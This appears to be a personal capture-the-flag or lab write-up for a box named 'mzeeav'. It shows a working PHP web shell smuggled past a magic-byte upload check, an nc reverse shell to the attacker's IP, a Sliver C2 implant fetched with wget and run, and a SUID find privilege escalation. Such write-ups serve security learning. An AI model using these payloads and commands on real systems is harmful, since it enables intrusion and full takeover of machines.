## Recon
- 22 SSH
- system is running debian
- 80 - MZEEAV
## 80 - MZEEAV
http://192.168.188.33/
![[Pasted image 20250425205344.png]]
We get a **file upload** right away :-)
And a **release date: 2022**.
Googling dosen't reveal much other than writeups for this actual box - indicating that this is bespoke software.
![[Pasted image 20250425205741.png]]
### Directory Enumeration
[[FFUF]] reveals the following sub-pages:
```
/upload
/backup
```
Visiting `/upload`
![[Pasted image 20250425210801.png]]
Indicates that we're likely on the path to something lol...
Backup contains an apache file tree/directory from which we can download `backup.zip`
![[Pasted image 20250425210004.png]]
```
╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33]
╰─> wget http://192.168.188.33/backups/backup.zip
--2025-04-25 18:57:36-- http://192.168.188.33/backups/backup.zip
Connecting to 192.168.188.33:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 330055 (322K) [application/zip]
Saving to: ‘backup.zip’
backup.zip 100%[======================================>] 322.32K 1.71MB/s in 0.2s
2025-04-25 18:57:37 (1.71 MB/s) - ‘backup.zip’ saved [330055/330055]
╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33]
╰─> ls
backup.zip mzeeav-full.nmap
╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33]
╰─> unzip backup.zip
Archive: backup.zip
creating: var/www/html/
creating: var/www/html/upload/
inflating: var/www/html/upload/wget.exe
inflating: var/www/html/upload/whoami.exe
extracting: var/www/html/upload/index.html
inflating: var/www/html/listing.php
inflating: var/www/html/upload.php
inflating: var/www/html/index.html
```
Contains the source code for the application.
### Examining `backup` source code
- file uploads
-
```
╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33]
╰─> touch hax.sh
╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33]
╰─> md5sum hax.sh
d41d8cd98f00b204e9800998ecf8427e hax.sh
```
If we upload `hax.sh` which has a `d41d8cd98f00b204e9800998ecf8427e` and cross reference it with `/listing.php`:
```
file.tmp - MD5: d41d8cd98f00b204e9800998ecf8427e - seems to be clean!
```
We may confirm that the file `file.tmp` is the same as `hax.sh`.
Thus we are likely to find it at `/uploads/file.tmp`.
If we reupload it with some actual contents, we can render it at:
```
http://192.168.188.33/upload/file.tmp
```
Question is how we can go about turning that into RCE?
We do also get an `Error no valid PEFILE` when we upload through BurpSuite and view the `/upload` response.
Having a look at the related section of the source code:
```php
/* Check MagicBytes MZ PEFILE 4D5A*/
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4));
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));
/* if its not a PEFILE block it - str_contains onlz php 8*/
//if ( ! (str_contains($magicbytes, '4D5A'))) {
if ( strpos($magicbytes, '4D5A') === false ) {
echo "Error no valid PEFILE\n";
error_log(print_r("No valid PEFILE", TRUE));
error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
exit ();
}
rename($tmp_location, $location);
```
Can't seem to get that byte manually working by just pasting it into my payload.
So let's go download one of the pre-existing PE files:
```
wget http://192.168.188.33/upload/wget.exe
```
And we'll go ahead and upload that:
```
POST /upload.php HTTP/1.1
Host: 192.168.188.33
Content-Length: 308939
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykuc07eEO33UktV31
Accept: */*
Origin: http://192.168.188.33
Referer: http://192.168.188.33/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
------WebKitFormBoundarykuc07eEO33UktV31
Content-Disposition: form-data; name="file"; filename="wget.exe"
Content-Type: application/x-ms-dos-executable
MZ ÿÿ ¸ @ ð º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ brV&b&b&b]~(bI}'b¥~>bI}½bE@6/bD}/b&b¶b AGcRich&b PE L ïÙÕ? à ° 0¾ À @ Ð À È UPX0 àUPX1 ° ° @ àUPX2 À ´ @ À
$Info: This file is packed with the UPX executable packer http://upx.tsx.org $
$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $
UPX! D_»èÉÕ +® ð
& ÿÿÿÿSVt$WÒt
```
Now this returns status 200 and I think we get to keep the filename :-)
Let's re-upload it as `wget2.exe`:
```
POST /upload.php HTTP/1.1
Host: 192.168.188.33
Content-Length: 308940
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykuc07eEO33UktV31
Accept: */*
Origin: http://192.168.188.33
Referer: http://192.168.188.33/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
------WebKitFormBoundarykuc07eEO33UktV31
Content-Disposition: form-data; name="file"; filename="wget2.exe"
Content-Type: application/x-ms-dos-executable
MZ ÿÿ ¸ @ ð º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ brV&b&b&b]~(bI}'b¥~>bI}½bE@6/bD}/b&b¶b AGcRich&b PE L ïÙÕ? à ° 0¾ À @ Ð À È UPX0 àUPX1 ° ° @ àUPX2 À ´ @ À
$Info: This file is packed with the UPX executable packer http://upx.tsx.org $
```
We can now list it under it's actual name rather than `file.tmp`....
Question is whether we can turn that into execution somehow?
```
Content-Disposition: form-data; name="file"; filename="wget2.php"
```
Successfully uploads lists too :-)
Final question, how can we keep byte validity whilst also making it valid PHP code?
From the [php docs](https://www.php.net/manual/en/function.fread.php):
**fread**([resource](https://www.php.net/manual/en/language.types.resource.php) `$stream`, [int](https://www.php.net/manual/en/language.types.integer.php) `$length`): [string](https://www.php.net/manual/en/language.types.string.php)|[false](https://www.php.net/manual/en/language.types.singleton.php)
```
fread() reads up to `length` bytes from the file pointer referenced by `stream`. Reading stops as soon as one of the following conditions is met:
- `length` bytes have been read
- EOF (end of file) is reached
- a packet becomes available or the [socket timeout](https://www.php.net/manual/en/function.socket-set-timeout.php) occurs (for network streams)
- if the stream is read buffered and it does not represent a plain file, at most one read of up to a number of bytes equal to the chunk size (usually 8192) is made; depending on the previously buffered data, the size of the returned data may be larger than the chunk size.
```
So this means that the source code likely just reads the first two bytes of whatever input?
```
------WebKitFormBoundarykuc07eEO33UktV31
Content-Disposition: form-data; name="file"; filename="wget2.php"
Content-Type: application/x-ms-dos-executable
MZ
------WebKitFormBoundarykuc07eEO33UktV31--
```
Is kinda the minimally viable payload here :-)
So if we do:
```
POST /upload.php HTTP/1.1
Host: 192.168.188.33
Content-Length: 232
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykuc07eEO33UktV31
Accept: */*
Origin: http://192.168.188.33
Referer: http://192.168.188.33/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
------WebKitFormBoundarykuc07eEO33UktV31
Content-Disposition: form-data; name="file"; filename="hax.php"
Content-Type: application/x-ms-dos-executable
MZ
<?php
if (isset($_GET['cmd'])) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
------WebKitFormBoundarykuc07eEO33UktV31--
```
And invoke: http://192.168.188.33/upload/hax.php?cmd=whoami
We achieve RCE <3
Let's leverage that for a full shell shall we?
```
# startup reverse shell listener
╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33]
╰─> rlwrap nc -lnvp 4444
# execute payload
curl http://192.168.188.33/upload/hax.php?cmd=nc%20192.168.45.231%204444%20-e%20%2Fbin%2Fbash
```
And yatzi.
Let's gucci up the shell a little:
```sh
python3 -c 'import pty;pty.spawn("/bin/bash")'
```
And get the user flag:
```
ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.188.33 netmask 255.255.255.0 broadcast 192.168.188.255
ether 00:50:56:9e:62:0a txqueuelen 1000 (Ethernet)
RX packets 203666 bytes 28636688 (27.3 MiB)
RX errors 0 dropped 346 overruns 0 frame 0
TX packets 199783 bytes 69335631 (66.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 936 bytes 75268 (73.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 936 bytes 75268 (73.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
www-data@mzeeav:/home/avuser$ cat locat local.txt
cat local.txt
ce796e9ece5611237ab6cdd7b2d9cee6
```
Done in bout an hour.
## Privesc
Okay let's improve the access resilience and UX a little with a sliver c2 payload:
```
# at my local sliver client
sliver > generate --os linux --http 192.168.45.231 --skip-symbols --name mzeeav
# on the remote target
wget http://192.168.45.231:443/mzeeav
--2025-04-25 15:58:15-- http://192.168.45.231:443/mzeeav
Connecting to 192.168.45.231:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10555392 (10M) [application/octet-stream]
Saving to: ‘mzeeav’
mzeeav 100%[===================>] 10.07M 10.1MB/s in 1.0s
2025-04-25 15:58:16 (10.1 MB/s) - ‘mzeeav’ saved [10555392/10555392]
www-data@mzeeav:/tmp$ ls ls
ls
mzeeav
www-data@mzeeav:/tmp$ chmod chmod +x ./mzeeav
chmod +x ./mzeeav
www-data@mzeeav:/tmp$ ./mzee./mzeeav &
./mzeeav &
[1] 1188
```
Noice, we now got access redundancy <3
- users & groups
- current user: `www-data`
- `avuser`
- can access `$HOME` as `www-data` user?
- `sudo -l`? nada
- [[SUID Binaries]]
- `sudo`?
- Proces?
- nothing interesting??
- [[PSPY - Process Monitoring]] reveals nothing either...
- Internal ports?
- none new
- interesting files?
- check `avuser`
- nada
I'm at a slight loss here lol....
Went through [[SUID Binaries]] again:
```
www-data@mzeeav:/$ find / -perm -4000 -type f 2>/dev/null | grep -v 'snap'
/opt/fileS
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/sudo
www-data@mzeeav:/$ ls -l /opt/fileS
---s--s--x 1 root root 311008 Nov 14 2023 /opt/fileS
```
So `/opt/fileS` is an oddity, it being installed in `/opt` means that it's likely custom, and it's owned by root.
```
/opt/fileS
www-data@mzeeav:/$ /opt/fileS --help
Usage: /opt/fileS [-H] [-L] [-P] [-Olevel] [-D debugopts] [path...] [expression]
...
Please see also the documentation at http://www.gnu.org/software/findutils/.
...
```
We can run the binary too :))
```
www-data@mzeeav:/$ /opt/fileS /root
/root
/root/proof.txt
/root/email2.txt
/root/.bashrc
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.bash_history
/root/.profile
```
Turns out that this is a modified/renamed version of the `find` command which we can... [find on gtfobins](https://gtfobins.github.io/gtfobins/find/).
```sh
www-data@mzeeav:/$ /opt/fileS /root -exec whoami \; -quit
root
```
Sooo close man.
```
www-data@mzeeav:/$ /opt/fileS /root -exec /tmp/mzeeav \; -quit
[*] Session 7a4f49a1 mzeeav - 192.168.188.33:49090 (mzeeav) - linux/amd64 - Fri, 25 Apr 2025 21:59:07 UTC
```
Let's go man:
```
www-data@mzeeav:/$ /opt/fileS /root -exec /bin/sh -p \; -quit
# whoami
root
# cd /root
# ls
email2.txt proof.txt
# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.188.33 netmask 255.255.255.0 broadcast 192.168.188.255
ether 00:50:56:9e:62:0a txqueuelen 1000 (Ethernet)
RX packets 269074 bytes 48299488 (46.0 MiB)
RX errors 0 dropped 699 overruns 0 frame 0
TX packets 268079 bytes 87732132 (83.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 936 bytes 75268 (73.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 936 bytes 75268 (73.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# cat proof.txt
54db51de97f2b0b82e468da6fd815824
```
## Lessons
- Do not just trust linpeas [[SUID Binaries]] highlighting.